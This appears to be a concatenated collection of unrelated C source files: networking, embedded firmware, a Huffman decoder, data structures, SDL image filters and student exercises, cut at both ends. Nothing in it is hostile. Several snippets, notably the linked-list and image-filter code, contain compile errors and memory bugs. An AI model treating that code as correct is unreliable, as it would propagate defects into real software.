&clientAddr, &clilen); clientMessage[n] = '\0'; printf("\nCLIENT: %s\n", clientMessage); // read the next word from the file fscanf(fptr, "%s", temp); // print the word on server display printf("\nSERVER: %s\n", temp); //send this word to client sendto(socketfd,temp,strlen(temp),0,(struct sockaddr*)&clientAddr,sizeof(clientAddr)); } while(1) { clilen=sizeof(clientAddr); if(recvlen=recvfrom(socketfd,recvBuf,buflen,0,(struct sockaddr*)&clientAddr,&clilen) < 0){ perror("Error in recieving"); exit(1); } recvBuf[recvlen]=0; printf("Recv from %s:%d: ",inet_ntoa(clientAddr.sin_addr),ntohs(clientAddr.sin_port)); printf("%s\n",recvBuf); if(sendto(socketfd,recvBuf,recvlen,0,(struct sockaddr*)&clientAddr,sizeof(clientAddr))<0){ perror("Error in sending"); exit(2); } } return 0; }
C
#include<stdio.h> #include<conio.h> void main () { int x; clrscr(); printf("\nenter your number:"); scanf("%d",&x); printf("your hexa number=%x",x); getch(); }
C
#ifndef HEAP_H #define HEAP_H #include <stdint.h> #include <stddef.h> struct node_t { int32_t key; void* value; }; struct heap_t { struct node_t* data; size_t capacity; size_t size; }; void make_heap(struct heap_t*, size_t); void heapify(struct heap_t*, int32_t); void insert(struct heap_t*, int32_t, void*); void extract(struct heap_t*, void**); void top(struct heap_t*, void**); #endif
C
#include <msp430.h> /* * ClockSetup430G.c * Serves similar purpose to code previously written for MSP430FR5969, * counts up until overflow, then toggles a pin high/low. * * Created on: Mar 24, 2015 * Author: Sebastian A Roe */ int main(void) { // Stop watchdog timer WDTCTL = WDTPW | WDTHOLD; //Initialize Pin 1.5 to output direction P1DIR = 0x20; P1SEL = 0x00; P1SEL2 = 0x00; //Initialize Pin 1.5 to High P1OUT = 0x20; //Initializes TimerA clock to use SMCLK as source, with no pre-scaler TACTL = 0x222; //Sets initial counter to 0 TAR = 0x00; __enable_interrupt(); while(TAR < 0x200); P1OUT = 0x00; while(1); } #pragma vector = TIMER0_A1_VECTOR __interrupt void TIMERA1_ISR (void) { switch(TAIV) { case 0x0A: P1OUT ^= 0x20; break; default: P1OUT ^= 0x20; break; } }
C
#include "decoder.h" void decoder(ADH_arbreDeHuffman arbre,FichierBinaire source, FichierBinaire* dest,int longueur,CLC_FonctionCopier copierBit,CLC_FonctionLiberer libererBit){ unsigned long long bit_restants=longueur; octet o; CodeBinaire cTemp,code=CB_creerCodeBinaireVide(); while (!(FB_finFichier(source)) && FB_lireOctet(source,&o) && (bit_restants>0)) { cTemp=octet_en_CB(o,copierBit); CB_concatener(&code,cTemp); while ((CB_obtenirLongueur(code)>=ADH_longueur(arbre)) && (bit_restants>0)) { traiterCodeBinaire(&code,&o,&bit_restants,arbre,libererBit); FB_ecrireOctet(dest,o); } } } void traiterCodeBinaire(CodeBinaire* code,octet* oct,unsigned long long* nb,ADH_arbreDeHuffman arbre,CLC_FonctionLiberer libererBit) { unsigned int i; int l=CB_obtenirLongueur(*code); ADH_arbreDeHuffman atemp=arbre; if (l>(*nb)) { for (i=l;i>*nb;i--) { CB_supprimerBit(code,i,libererBit); } assert(*nb==CB_obtenirLongueur(*code)); } while (!(ADH_estUneFeuille(atemp))) { *nb=*nb-1; if (bit_egaux(CB_obtenirBit(*code),b0)) { atemp=ADH_obtenirFilsGauche(atemp); } else atemp=ADH_obtenirFilsDroit(atemp); CB_supprimerTete(code,libererBit); } OCT_copierOctet(ADH_obtenirPere(atemp).valeurOctet,oct); } CodeBinaire octet_en_CB(octet oct,CLC_FonctionCopier copierBit) { int i=0; CodeBinaire res=CB_creerCodeBinaireVide(); for (i=0;i<8;i++) { CB_ajouterAlaFin(&res,OCT_obteniriemeBit(oct,i),copierBit); } return res; }
C
//1005번 /* 그래프 그리는거까진 하겠는데 그다음부터 아예 못풀겠다. */ #include <stdio.h> int adjMat[1001][1001]={0}; int DFS(int target,int N, int time[],int DP[]){ int max=0,result=0; int i,answer; if(DP[target]!=0){ return DP[target]; } for(i=1;i<=N;i++){ if(adjMat[i][target]==1){ result=DFS(i,N,time,DP); if(max<result){ max=result; } } } answer=time[target]+max; if(DP[target]<answer){ DP[target]=answer; } return answer; } int main(){ int T,N,K,i,j,x,y,w; int time[1001]={0}; int DP[1001]={0}; scanf("%d",&T); for(i=0;i<T;i++){ scanf("%d%d",&N,&K); for(j=0;j<=N;j++){ //DP 초기화 DP[j]=0; } for(j=0;j<=N;j++){ for(x=0;x<=N;x++){ adjMat[j][x]=0; } } for(j=1;j<=N;j++){ scanf("%d",&time[j]); } for(j=0;j<K;j++){ scanf("%d%d",&x,&y); adjMat[x][y]=1; } scanf("%d",&w); printf("%d\n",DFS(w,N,time,DP)); } return 0; }
C
/* * */ #include <seahorn/seahorn.h> #include <aws/common/byte_buf.h> #include <byte_buf_helper.h> #include <utils.h> int main() { /* data structure */ struct aws_byte_cursor cursor; initialize_byte_cursor(&cursor); size_t len = nd_size_t(); /* assumptions */ assume(aws_byte_cursor_is_valid(&cursor)); /* save current state of cursor */ uint8_t *debug_ptr = cursor.ptr; size_t debug_len = cursor.len; struct aws_byte_cursor old = cursor; struct store_byte_from_buffer old_byte_from_cursor; save_byte_from_array(cursor.ptr, cursor.len, &old_byte_from_cursor); /* operation under verification */ struct aws_byte_cursor rv = aws_byte_cursor_advance_nospec(&cursor, len); /* assertions */ sassert(aws_byte_cursor_is_valid(&rv)); if (old.len > (SIZE_MAX >> 1) || len > (SIZE_MAX >> 1) || len > old.len) { sassert(rv.ptr == NULL); sassert(rv.len == 0); if (old.len != 0) { assert_byte_from_buffer_matches(cursor.ptr, &old_byte_from_cursor); } } else { sassert(rv.ptr == old.ptr); sassert(rv.len == len); sassert(cursor.ptr == old.ptr + len); sassert(cursor.len == old.len - len); } return 0; }
C
/* * Copyright 2016-2021 Chiz Chikwendu * */ /** * @file smartpooltmr.c * @brief glue code for interface with spi, i2c and gpio * */ /*---------------------------------------------------------------------------*/ /* Includes*/ /*---------------------------------------------------------------------------*/ #include <stdio.h> #include "smartpooltmr.h" /* Externally Defined Variables */ extern ade7912_capture_mode_t adc_mode; extern dpt_system_t system_data; extern tmSchedule_t pump_schedule[NUM_WEEKDAYS]; #define C_BMP180_ONE_U8X ((u8)1) /*---------------------------------------------------------------------------- * The following functions are used for reading and writing of * sensor data using I2C or SPI communication ----------------------------------------------------------------------------*/ #ifdef BMP180_API /* \Brief: The function is used as I2C bus read * \Return : Status of the I2C read * \param dev_addr : The device address of the sensor * \param reg_addr : Address of the first register, will data is going to be read * \param reg_data : This data read from the sensor, which is hold in an array * \param cnt : The no of byte of data to be read */ s8 BMP180_I2C_bus_read(u8 dev_addr, u8 reg_addr, u8 *reg_data, u8 cnt); /* \Brief: The function is used as SPI bus write * \Return : Status of the SPI write * \param dev_addr : The device address of the sensor * \param reg_addr : Address of the first register, will data is going to be written * \param reg_data : It is a value hold in the array, * will be used for write the value into the register * \param cnt : The no of byte of data to be write */ s8 BMP180_I2C_bus_write(u8 dev_addr, u8 reg_addr, u8 *reg_data, u8 cnt); /* Brief : The delay routine * \param : delay in ms */ void BMP180_delay_msek(u32 msek); /* * \Brief: I2C init routine */ s8 I2C_routine(void); #endif /********************End of I2C function declarations***********************/ /** * @brief i2c master initialization */ void i2c_master_init(void) { // By default I2C is configured for 100kHz // mos.yml defines pinout for I2C // I2C lines configured with pull-ups struct mgos_i2c *i2c = mgos_i2c_get_global(); // gets pointer to the I2C master structure if (i2c == NULL) { LOG(LL_DEBUG, ("I2C not configured \n")); } } /** * @brief i2c write code * Master device write data to slave */ bool i2c_master_write_slave(uint8_t dev_addr, uint8_t* data_wr, size_t size) { uint8_t reg = *data_wr; struct mgos_i2c *i2c = mgos_i2c_get_global(); // gets pointer to the I2C master structure return mgos_i2c_write_reg_n(i2c, (uint16_t) dev_addr, reg, size-C_BMP180_ONE_U8X, ++data_wr); } /** * @brief code to master to read from slave * */ bool i2c_master_read_slave(uint8_t dev_addr, uint8_t* data_rd, size_t size) { uint8_t reg = *data_rd; struct mgos_i2c *i2c = mgos_i2c_get_global(); // gets pointer to the I2C master structure return mgos_i2c_read_reg_n(i2c, (uint16_t) dev_addr, reg, size-C_BMP180_ONE_U8X, data_rd); } /* Brief : The delay routine * \param : delay in ms */ //void BMP180_delay_msek(u32 msek); /*---------------------------------------------------------------------------- struct bmp180_t parameters can be accessed by using bmp180 * bmp180_t having the following parameters * Bus write function pointer: BMP180_WR_FUNC_PTR * Bus read function pointer: BMP180_RD_FUNC_PTR * Delay function pointer: delay_msec * I2C address: dev_addr * Chip id of the sensor: chip_id * Calibration parameters ---------------------------------------------------------------------------*/ struct bmp180_t bmp180; s32 bmp180_sensor_initialize(void) { /* communication results/flags */ s32 ret = E_BMP_COMM_RES; /*--------------------- START INITIALIZATION ---------------*/ i2c_master_init(); #ifdef BMP180_API I2C_routine(); #endif /* * This function used to assign the value/reference of * the following parameters * I2C address * Bus Write * Bus read * Chip id * Calibration values */ ret = bmp180_init(&bmp180); /* *--------------------START CALIPRATION ------------------------------ * This function used to read the calibration values of following * these values are used to calculate the true pressure and temperature */ ret += bmp180_get_calib_param(); return ret; } void bmp180_sensor_data(struct bmp180_data_t *bmp180_sensor_data) { u16 v_uncomp_temp_u16 = BMP180_INIT_VALUE; u32 v_uncomp_press_u32 = BMP180_INIT_VALUE; /* This API is used to read the * uncompensated temperature(ut) value */ v_uncomp_temp_u16 = bmp180_get_uncomp_temperature(); /* This API is used to read the * uncompensated pressure(ut) value */ v_uncomp_press_u32 = bmp180_get_uncomp_pressure(); /**************************************************************************** * This API is used to read the * true temperature(t) value input * parameter as uncompensated temperature(ut) * ****************************************ret***********************************/ bmp180_sensor_data->temperature = (float)bmp180_get_temperature(v_uncomp_temp_u16) * 0.1; /**************************************************************************** * This API is used to read the * true pressure(p) value * input parameter as uncompensated pressure(up) * Convert from hPA to PSI * ***************************************************************************/ bmp180_sensor_data->pressure = ((float)bmp180_get_pressure(v_uncomp_press_u32) * 0.01) * 0.014503773773022; } #ifdef BMP180_API /*--------------------------------------------------------------------------* * The following function is used to map the I2C bus read, write, delay and * device address with global structure bmp180_t *-------------------------------------------------------------------------*/ s8 I2C_routine(void) { /*--------------------------------------------------------------------------* * By using bmp180 the following structure parameter can be accessed * Bus write function pointer: BMP180_WR_FUNC_PTR * Bus read function pointer: BMP180_RD_FUNC_PTR * Delay function pointer: delay_msec * I2C address: dev_addr *--------------------------------------------------------------------------*/ bmp180.bus_write = BMP180_I2C_bus_write; bmp180.bus_read = BMP180_I2C_bus_read; bmp180.dev_addr = BMP180_I2C_ADDR; bmp180.delay_msec = BMP180_delay_msek; return BMP180_INIT_VALUE; } /************** I2C buffer length ******/ #define I2C_BUFFER_LEN 8 #define I2C0 5 /* \Brief: The function is used as I2C bus write * \Return : Status of the I2C write * \param dev_addr : The device address of the sensor * \param reg_addr : Address of the first register, will data is going to be written * \param reg_data : It is a value hold in the array, * will be used for write the value into the register * \param cnt : The no of byte of data to be write */ s8 BMP180_I2C_bus_write(u8 dev_addr, u8 reg_addr, u8 *reg_data, u8 cnt) { s32 iError = BMP180_INIT_VALUE; u8 array[I2C_BUFFER_LEN]; u8 stringpos = BMP180_INIT_VALUE; array[BMP180_INIT_VALUE] = reg_addr; for (stringpos = BMP180_INIT_VALUE; stringpos < cnt; stringpos++) { array[stringpos + C_BMP180_ONE_U8X] = *(reg_data + stringpos); } // write to slave device iError = i2c_master_write_slave(dev_addr, array, cnt+C_BMP180_ONE_U8X); return (s8)iError; } /* \Brief: The function is used as I2C bus read * \Return : Status of the I2C read * \paramICACHE_FLASH_ATTR dev_addr : The device address of the sensor * \param reg_addr : Address of the first register, will data is going to be read * \param reg_data : This data read from the sensor, which is hold in an array * \param cnt : The no of byte of data to be read */ s8 BMP180_I2C_bus_read(u8 dev_addr, u8 reg_addr, u8 *reg_data, u8 cnt) { s32 iError = BMP180_INIT_VALUE; u8 array[I2C_BUFFER_LEN] = {BMP180_INIT_VALUE}; u8 stringpos = BMP180_INIT_VALUE; array[BMP180_INIT_VALUE] = reg_addr; // Read from slave device iError = i2c_master_read_slave(dev_addr, array, cnt+C_BMP180_ONE_U8X); for (stringpos = BMP180_INIT_VALUE; stringpos < cnt; stringpos++) { *(reg_data + stringpos) = array[stringpos]; } return (s8)iError; } /* Brief : The delay routine * \param : delay in ms */ void BMP180_delay_msek(u32 msek) { delay_ms(msek); } #endif // Delay function void delay_ms(u32 msec) { /*Here you can write your own delay routine*/ for (u32 ms_delay=0; ms_delay < msec; ms_delay++) mgos_usleep(1000); } /* * getDefaultSchedule: Initialize structure with pump default * schedule * */ void getDefaultSchedule(tmSchedule_t *schedule){ schedule->tm_hour_start = 5; // 6am schedule->tm_min_start = 0; schedule->tm_hour_end = 8; // 8am schedule->tm_min_end = 0; } /* * deviceInit: Configures peripherals used * */ void deviceInit(void) { LOG(LL_DEBUG, ("Initialize GPIO ports \n")); mgos_gpio_set_mode(MANUAL_OVRD_GPIO, MGOS_GPIO_MODE_INPUT); mgos_gpio_set_pull(MANUAL_OVRD_GPIO, MGOS_GPIO_PULL_NONE); mgos_gpio_set_mode(RELAY_DRV_GPIO, MGOS_GPIO_MODE_OUTPUT); mgos_gpio_set_pull(RELAY_DRV_GPIO, MGOS_GPIO_PULL_NONE); mgos_gpio_write(RELAY_DRV_GPIO, eRELAY_OFF); system_data.hwVersion[0] = HDWR_VERSION >> 8; system_data.hwVersion[1] = HDWR_VERSION & 0xFF; system_data.swVersion[0] = SFWR_VERSION >> 8; system_data.swVersion[1] = SFWR_VERSION & 0xFF; // Configure ADC adc1_config_width(ADC_WIDTH_12Bit); adc1_config_channel_atten(ADC1_CHANNEL_5, ADC_ATTEN_6db); // Initialize Pump Schedule if (!getPumpSchedule()) { // This is a virgin board with no pump schedule LOG(LL_INFO, ("Creating default schedule...")); for (uint8_t i=0; i<NUM_WEEKDAYS; i++) { pump_schedule[i].tm_wday = i; getDefaultSchedule(&pump_schedule[i]); } // Save default schedule file savePumpSchedule(); LOG(LL_INFO, ("Saved Schedule file %s\n", "pump_schedule.txt")); } } /* * cmdPumpOnOff: Turn pump on or off * */ uint8_t cmdPumpOnOff(relay_status_t cmd) { if (adc_mode == eMEASURE) { if (cmd) mgos_gpio_write(RELAY_DRV_GPIO, eRELAY_ON); else mgos_gpio_write(RELAY_DRV_GPIO, eRELAY_OFF); // Give relay sometime to switch mgos_usleep(5000); } return mgos_gpio_read(RELAY_DRV_GPIO); } /* * savePumpSchedule: Save Pump Schedule * */ bool savePumpSchedule(void) { FILE *fp; size_t size_of_elements = sizeof(pump_schedule[0]); size_t number_of_elements = sizeof(pump_schedule)/size_of_elements; fp = fopen("pump_schedule.txt", "wb"); if (fp == NULL) return false; fwrite(&pump_schedule, size_of_elements, number_of_elements, fp); LOG(LL_DEBUG, ("Wrote %d bytes\n", number_of_elements*size_of_elements)); return true; } /* * getPumpSchedule: Save Pump Schedule * */ bool getPumpSchedule(void) { FILE *fp; size_t size_of_elements = sizeof(pump_schedule[0]); size_t number_of_elements = sizeof(pump_schedule)/size_of_elements; fp = fopen("pump_schedule.txt", "rb"); if (fp == NULL) return false; fread(&pump_schedule, size_of_elements, number_of_elements, fp); LOG(LL_DEBUG, ("Read %d bytes\n", number_of_elements*size_of_elements)); return true; }
C
#include <stdio.h> #include <stdlib.h> typedef struct Node { int data; struct Node* next; struct Node* prev; } Node; typedef struct LinkedList { int data; struct LinkedList* next; } LinkedList; struct Node* head = NULL; struct Node* current = NULL; int isEmpty() { } LinkedList* create(int n) { LinkedList *head, *node, *end; head = malloc(sizeof(LinkedList)); end = head; for (int i = 0; i < n; i++) { node = malloc(sizeof(LinkedList)); scanf("%d", &node->data); end->next = node; end = node; } } void printLinkedList(LinkedList list) { LinkedList *curNode = &list; while(curNode != NULL) { printf("%d ->", curNode.data); curNode = curNode.next; } printf("\n"); } int main() { LinkedList *head = create(5); printLinkedList(*head); }
C
#ifndef _ANT32_VM_H_ #define _ANT32_VM_H_ /* $Id: ant32_vm.h,v 1.4 2002/01/02 02:29:18 ellard Exp $ * * Copyright 1996-2001 by the President and Fellows of Harvard College. * See LICENSE.txt for license information. * * Dan Ellard -- 08/04/99 * * ant32_vm.h -- header file for the ANT VM. */ typedef struct { ant_tlbe_t entries [ANT_MAX_TLB_ENTRIES]; unsigned int num_entries; } ant_tlb_t; typedef struct { unsigned int n_reg; unsigned int n_freg; unsigned int mem_size; unsigned int tlb_size; } ant_param_t; extern ant_param_t AntParameters; /* * A structure that contains all of the information about the state of * an ANT-32: the program counter (pc), all the registers, and the * memory. * * The memory is organized in "blocks" of variable size, corresponding * to places in the physical address space where memory resides. */ typedef struct { ant_exec_mode_t mode; ant_pc_t pc; ant_reg_t reg [ANT_REG_RANGE]; ant_freg_t freg [ANT_FREG_RANGE]; ant_tlb_t tlb; ant_pmem_blk_t *blks; int blk_cnt; ant_param_t params; } ant_t; /* * The default memory size of an ANT, which can be overridden during * intialization. This size was chosen because it seems reasonable * for wide variety of exercises, but small enough so that it doesn't * place a huge burden on the computer that is running the VM. */ #define ANT_DEFAULT_MEM_SIZE (1024 * 1024) /* * &&& Note the cheesy assumption that ANT32 programs are contiguous * in memory, start at location 0 (in VM space), and are never longer * than ANT_DEFAULT_MEM_SIZE. This is large enough for some pretty * huge programs, but not enough for "real" purposes. */ #define ANT_MAX_INSTS (ANT_DEFAULT_MEM_SIZE) /* * Define the longest line allowable in an ANT program file (in the * text format described in ant.txt). */ #define ANT_MAX_LINE_LEN 512 ant_t *ant_create (ant_param_t *params); void ant_clear (ant_t *ant); /* * end of ant32_vm.h */ #endif /* _ANT32_VM_H_ */
C
#include <stdio.h> struct my_data { int a; char c; float arr[2]; }; int main_07_1() { //struct my_data d1 = { 1234, 'A', {1.1f, 2.2f} }; struct my_data d1 = { 1234, 'A', }; d1.arr[0] = 1.1f; d1.arr[1] = 2.2f; printf("%d %c %lld\n", d1.a, d1.c, (long long)d1.arr); printf("%f %f\n", d1.arr[0], d1.arr[1]); //arr printf("%lld %lld\n\n", (long long)&d1.arr[0], (long long)&d1.arr[1]); // ü /*struct my_data d2; d2.a = d1.a; d2.c = d1.c; d2.arr[0] = d1.arr[0]; d2.arr[1] = d1.arr[1];*/ struct my_data d2 = d1; // ڵ带 ٷ ϰ. d1 . printf("%d %c %lld\n", d2.a, d2.c, (long long)d2.arr); printf("%f %f\n", d2.arr[0], d2.arr[1]); //arr printf("%lld %lld\n\n", (long long)&d2.arr[0], (long long)&d2.arr[1]); // ޸ ּ ޶. return 0; }
C
#include <stdlib.h> #include <stdio.h> #include <string.h> #include <SDL/SDL.h> #include <SDL/SDL_image.h> void BufRev(unsigned char *p) { unsigned char *q = p; while(q && *q) ++q; for(--q; p < q; ++p, --q) *p = *p ^ *q, *q = *p ^ *q, *p = *p ^ *q; } void Filter(unsigned char * pixels, int width, int height, int size, char bpp) { BufRev(pixels); } void HorizontalCopy(unsigned char * pixels, int width, int height, int size, char bpp) { for(int i = 0; i < height; i++) { int line_size = width * 4; unsigned char * first_line = malloc(width * 4); unsigned char * second_line = malloc(width * 4); int first_line_offset = (line_size + i) * 4; int second_line_offset = (line_size + (height - i)) * 4; memcpy(first_line, pixels[first_line_offset], line_size); memcpy(second_line, pixels[second_line_offset], line_size); memcpy(pixels[first_line_offset], second_line, line_size); memcpy(pixels[second_line_offset], first_line, line_size); } } void HorizontalCopy2(unsigned char * pixels, int width, int height, int size, char bpp) { for(int x = 0; x < width - 1; x++) { for(int y = 0 ; y < height - 1; y++) { // const unsigned int offset = ( width * 4 * y ) + x * 4; const unsigned int first = (width * 4 * y ) + x * 4; const unsigned int second = (width * 4 * (width - x) ) + (height-y) * 4; unsigned char pixel[4]; pixel[0] = pixels[ first + 0 ]; pixel[1] = pixels[ first + 1 ]; pixel[2] = pixels[ first + 2 ]; pixel[3] = pixels[ first + 3 ]; pixels[ first + 0 ] = pixels[ second + 0 ]; pixels[ first + 1 ] = pixels[ second + 1 ]; pixels[ first + 2 ] = pixels[ second + 2 ]; pixels[ first + 3 ] = pixels[ second + 3 ]; // pixels[ second + 0 ] = pixel[0]; // pixels[ second + 1 ] = pixel[1]; // pixels[ second + 2 ] = pixel[2]; // pixels[ second + 3 ] = pixel[3]; } } } void HorizMiror (unsigned char *buf, int width, int height, int size, char bpp){ char temp = 0 ; for (int w = 0; w < height/2; w++) { // row for (int k = 0; k < width; k++) { // colum temp = buf [w*width + k]; // zamiana pikseli w kolumnie buf [w* width + k] = buf [(height - w - 1)*width + k] ; buf [(height - w - 1) + k] = temp ; } } } Uint32 getpixel(SDL_Surface *surface, int x, int y) { int bpp = surface->format->BytesPerPixel; /* Here p is the address to the pixel we want to retrieve */ Uint8 *p = (Uint8 *)surface->pixels + y * surface->pitch + x * bpp; switch (bpp) { case 1: return *p; break; case 2: return *(Uint16 *)p; break; case 3: if (SDL_BYTEORDER == SDL_BIG_ENDIAN) return p[0] << 16 | p[1] << 8 | p[2]; else return p[0] | p[1] << 8 | p[2] << 16; break; case 4: return *(Uint32 *)p; break; default: return 0; /* shouldn't happen, but avoids warnings */ } } void set_pixel(SDL_Surface *surface, int x, int y, Uint32 pixel) { Uint32 *target_pixel = (Uint8 *) surface->pixels + y * surface->pitch + x * sizeof *target_pixel; *target_pixel = pixel; } void Negative(SDL_Surface *filtered, SDL_Surface *image) { for(int y=0; y<image->h; y++){ for(int x=0; x<image->w; x++){ unsigned char pixel[3]; } } } void blur(unsigned char *buf, int width, int height, char bpp){ int rowsize=(bpp * 8 * width + 31)/32; //poprawka na długość kolumny rowsize *= 4; // kolejne wiersze pikseli są upakowane tak, int i=0, j=0, k=0; // aby ich szerokość była wielokrotnością 4 bajtów int col=0; int * sr= malloc(3*sizeof(int)); //średnie trzech kolorow const int blur_size = 3; for (i=0;i<height;i+=blur_size){ //kolejne 4 wiersze for(j=0;j<rowsize;j+=blur_size * 3){ //kolejne 4 piksele (12B) for (col=0; col<3;col++){ //kolejne kolory sr[col]=0; for(k=0;k<blur_size;k++){ //kolejne 4 kolumny (po 3B) sr[col]+=(buf[rowsize*i+j+k*3+col]/=16); // srednia: kazda wartosc /16 sr[col]+=(buf[rowsize*i+j+rowsize+k*3+col]/=16); sr[col]+=(buf[rowsize*i+j+2*rowsize+k*3+col]/=16); sr[col]+=(buf[rowsize*i+j+3*rowsize+k*3+col]/=16); } for(k=0;k<blur_size;k++){ //kolejne 4 kolumny buf[rowsize*i+j+k*3+col]=sr[col]; // zmiana wartosci wierszy buf[rowsize*i+j+rowsize+k*3+col]=sr[col]; buf[rowsize*i+j+2*rowsize+k*3+col]=sr[col]; buf[rowsize*i+j+3*rowsize+k*3+col]=sr[col]; } } } } } void HorizontalCopy3(unsigned char * pixels, int width, int height, int size, char bpp) { while(pixels){ int i = 0; while(i++) { } } for(int x = 0; x < width; x++) { for(int y = 0 ; y < height; y++) { unsigned char offset = ( width * y ) + x; unsigned char offset2 = ( width * (height - y) ) + (width - x); unsigned char tmp = pixels[offset]; pixels[offset] = pixels[offset2]; pixels[offset2] = tmp; } } } void RandomFilter(unsigned char * pixels, int width, int height, int size, char bpp) { for( unsigned int i = 0; i < 1000; i++ ) { const unsigned int x = rand() % width; const unsigned int y = rand() % height; const unsigned int offset = ( width * 4 * y ) + x * 4; pixels[ offset + 0 ] = rand() % 256; // b pixels[ offset + 1 ] = rand() % 256; // g pixels[ offset + 2 ] = rand() % 256; // r pixels[ offset + 3 ] = SDL_ALPHA_OPAQUE; // a } } SDL_Surface* Load_image(char *file_name) { /* Open the image file */ SDL_Surface* tmp = IMG_Load(file_name); if ( tmp == NULL ) { fprintf(stderr, "Couldn't load %s: %s\n", file_name, SDL_GetError()); exit(0); } return tmp; } void Paint(SDL_Surface* image, SDL_Surface* screen) { SDL_BlitSurface(image, NULL, screen, NULL); SDL_UpdateRect(screen, 0, 0, 0, 0); }; int main(int argc, char *argv[]) { Uint32 flags; SDL_Surface *screen, *image; int depth, done; SDL_Event event; /* Check command line usage */ if ( ! argv[1] ) { fprintf(stderr, "Usage: %s <image_file>, (int) size\n", argv[0]); return(1); } if ( ! argv[2] ) { fprintf(stderr, "Usage: %s <image_file>, (int) size\n", argv[0]); return(1); } /* Initialize the SDL library */ if ( SDL_Init(SDL_INIT_VIDEO) < 0 ) { fprintf(stderr, "Couldn't initialize SDL: %s\n",SDL_GetError()); return(255); } flags = SDL_SWSURFACE; image = Load_image( argv[1] ); printf( "\n\nImage properts:\n" ); printf( "BitsPerPixel = %i \n", image->format->BitsPerPixel ); printf( "BytesPerPixel = %i \n", image->format->BytesPerPixel ); printf( "width %d ,height %d \n\n", image->w, image->h ); SDL_WM_SetCaption(argv[1], "showimage"); /* Create a display for the image */ depth = SDL_VideoModeOK(image->w, image->h, 32, flags); /* Use the deepest native mode, except that we emulate 32bpp for viewing non-indexed images on 8bpp screens */ if ( depth == 0 ) { if ( image->format->BytesPerPixel > 1 ) { depth = 32; } else { depth = 8; } } else if ( (image->format->BytesPerPixel > 1) && (depth == 8) ) { depth = 32; } if(depth == 8) flags |= SDL_HWPALETTE; screen = SDL_SetVideoMode(image->w, image->h, depth, flags); if ( screen == NULL ) { fprintf(stderr,"Couldn't set %dx%dx%d video mode: %s\n", image->w, image->h, depth, SDL_GetError()); } /* Set the palette, if one exists */ if ( image->format->palette ) { SDL_SetColors(screen, image->format->palette->colors, 0, image->format->palette->ncolors); } /* Display the image */ Paint(image, screen); done = 0; int size =atoi( argv[2] ); printf("Actual size is: %d\n", size); while ( ! done ) { if ( SDL_PollEvent(&event) ) { switch (event.type) { case SDL_KEYUP: switch (event.key.keysym.sym) { case SDLK_ESCAPE: case SDLK_TAB: case SDLK_q: done = 1; break; case SDLK_SPACE: case SDLK_1: SDL_LockSurface(image); printf("Start filtering... "); RandomFilter(image->pixels, image->w, image->h,size,image->format->BytesPerPixel); printf("Done.\n"); SDL_UnlockSurface(image); printf("Repainting after filtered... "); Paint(image, screen); printf("Done.\n"); break; case SDLK_2: SDL_LockSurface(image); printf("Start filtering... "); RandomFilter(image->pixels, image->w, image->h,size,image->format->BytesPerPixel); printf("Done.\n"); SDL_UnlockSurface(image); printf("Repainting after filtered... "); Paint(image, screen); printf("Done.\n"); break; case SDLK_3: SDL_LockSurface(image); printf("Start filtering... "); RandomFilter(image->pixels, image->w, image->h,size,image->format->BytesPerPixel); printf("Done.\n"); SDL_UnlockSurface(image); printf("Repainting after filtered... "); Paint(image, screen); printf("Done.\n"); break; case SDLK_f: SDL_LockSurface(image); printf("Start filtering... "); Negative(image->pixels, image->w, image->h, size, image->format->BytesPerPixel ); printf("Done.\n"); SDL_UnlockSurface(image); printf("Repainting after filtered... "); Paint(image, screen); printf("Done.\n"); break; case SDLK_r: printf("Reloading image... "); image = Load_image( argv[1] ); Paint(image,screen); printf("Done.\n"); break; case SDLK_PAGEDOWN: case SDLK_DOWN: case SDLK_KP_MINUS: size--; if (size==0) size--; printf("Actual size is: %d\n", size); break; case SDLK_PAGEUP: case SDLK_UP: case SDLK_KP_PLUS: size++; if (size==0) size++; printf("Actual size is: %d\n", size); break; case SDLK_s: printf("Saving surface at nowy.bmp ..."); SDL_SaveBMP(image, "nowy.bmp" ); printf("Done.\n"); default: break; } break; // case SDL_MOUSEBUTTONDOWN: // done = 1; // break; case SDL_QUIT: done = 1; break; default: break; } } else { SDL_Delay(10); } } SDL_FreeSurface(image); /* We're done! */ SDL_Quit(); return(0); }
C
/* Program to test calling the 'system' function Gilberto Echeverria 30/08/2018 */ #include <stdio.h> #include <stdlib.h> int main() { printf("In the main program\n"); system("ls -l .."); system("date +%H:%M"); system("python3 ../python_test.py"); printf("Returning to my main\n"); return 0; }
C
#include<stdio.h> #include<sys/types.h> #include<stdlib.h> #include<sys/stat.h> #include<unistd.h> #include<fcntl.h> struct stat a; int sy; off_t file1,file2; char b1,c1; char buff[1001]; char buff1[1001]; off_t i,j; int main(int argc,char *argv[]){ char str[7]="sylink"; int fd,fd1,fd2,div=0,rem=0,k; fd=open("./Assignment/Output.txt",O_RDONLY); write(STDOUT_FILENO,"Checking whether the directory has been created:",48); if(fd<0){ write(STDOUT_FILENO,"NO",2); exit(-1); } else{ if(stat("./Assignment",&a) == 0) { if(S_ISDIR(a.st_mode)) { write(STDOUT_FILENO,"YES",3); } } } write(STDOUT_FILENO,"\nChecking whether the file has been created:",44); if(fd<0){ write(STDOUT_FILENO,"NO",2); } else{ if(stat("./Assignment",&a) == 0) { if(S_ISDIR(a.st_mode)) { if(stat("./Assignment/Output.txt",&a)==0) write(STDOUT_FILENO,"YES",3); } } } write(STDOUT_FILENO,"\nChecking whether the symlink has been created:",47); if (fd < 0) { write(STDOUT_FILENO,"NO",2); return 0; } else{ sy=symlink("./Assignment/Output.txt",str); if(lstat(str,&a)==0){ if(S_ISLNK(a.st_mode)){ write(STDOUT_FILENO,"YES",3); } } } write(STDOUT_FILENO,"\nChecking whether file contents have been reversed and case-inverted:",69); if(fd>0){ fd1=open("./Assignment/Output.txt",O_RDONLY); fd2=open("./input.txt",O_RDONLY); file1=lseek(fd1,(off_t)0,SEEK_END); file2=lseek(fd2,(off_t)0,SEEK_END); div=file1/1000; rem=file1%1000; if(rem>0){ for(int j=file1-1,i=0;j>=div*1000,i<=rem-1;j--,i++){ lseek(fd1,(off_t)j,SEEK_SET); read(fd1,&b1,1); lseek(fd2,(off_t)i,SEEK_SET); read(fd2,&c1,1); if(b1>=65&&b1<=90){ b1+=32; } else if(b1>=97&&b1<=122){ b1-=32; } if(b1!=c1){ write(STDOUT_FILENO,"NO",2); break; } } } if(div>0){ for(int p=(div-1)*1000,l=rem;p>=0,l<=file2-1;p-=1000,l+=1000){ lseek(fd1,(off_t)p ,SEEK_SET); read(fd1,buff1,1000); lseek(fd2,(off_t)l,SEEK_SET); 